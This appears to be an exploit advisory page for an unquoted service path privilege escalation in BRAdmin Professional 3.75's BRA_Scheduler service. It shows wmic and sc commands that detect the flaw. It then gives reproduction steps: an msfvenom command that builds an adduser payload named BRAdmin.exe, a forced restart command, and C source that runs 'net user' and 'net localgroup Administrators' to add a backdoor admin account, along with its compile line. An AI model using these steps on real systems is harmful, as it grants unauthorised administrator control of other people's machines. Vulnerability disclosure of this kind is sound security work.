UI
Search…
0DAY
BRAdmin Professional 3.75 - Unquoted Service Path
BRAdmin Professional 3.75 - BRA_Scheduler Unquoted Service Path Privilege Escalation
"BRAdmin Professional 3.75 software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices."
Proof Of Concept
If a user can insert a executable which is called as "BRAdmin" under the
C:\Program Files (x86)\Brother\ directory , local system privileges could be obtained by the user. For example, an user that has administrative privileges can obtain
SYSTEM privileges through the vulnerable service. This situation is valuable, especially if additional writing permission is applied to
\Brother\ directory for unprivileged user.1
#Detection of unquoted service path:
2
3
C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """
4
Brother BRAdminPro Scheduler
5
BRA_Scheduler
6
C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
7
Auto
8
9
10
C:\>sc qc BRA_Scheduler
11
[SC] QueryServiceConfig SUCCESS
12
13
SERVICE_NAME: BRA_Scheduler
14
TYPE : 10 WIN32_OWN_PROCESS
15
START_TYPE : 2 AUTO_START
16
ERROR_CONTROL : 1 NORMAL
17
BINARY_PATH_NAME : C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
18
LOAD_ORDER_GROUP :
19
TAG : 0
20
DISPLAY_NAME : Brother BRAdminPro Scheduler
21
DEPENDENCIES :
22
SERVICE_START_NAME : LocalSystem
Copied!
Steps to Reproduce:
1- User has a write privilege to
\Brother\ directory and creates msfvenom payload that adds new localadmin user to Windows computer.1
msfvenom -p windows/adduser USER=unsafe PASS=In.line13 -f exe > BRAdmin.exe
Copied!
2- Then user downloads this executable under the
\Brother\ directory and restarts the computer.
For restarting computer from command line:
1
shutdown /r /t 0
Copied!
3- After the restarting process ,
unsafe user will be created and added the local Administrators group.
Windows Defender will detect the
BRAdmin.exe executable as malicious after the unsafeuser is added the local administrators group if target didn't make last Windows update properly. 
Or below code could be used after compiling with gcc.
1
#include <stdlib.h>
2
int main ()
3
{
4
int i;
5
i = system("net user joker [email protected] /add & net localgroup Administrators joker /add");
6
return 0;
7
}
Copied!
i686-w64-mingw32-gcc addLocalAdmin.c -lws2_32 -o add.exeBRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
Exploit Database
Copy link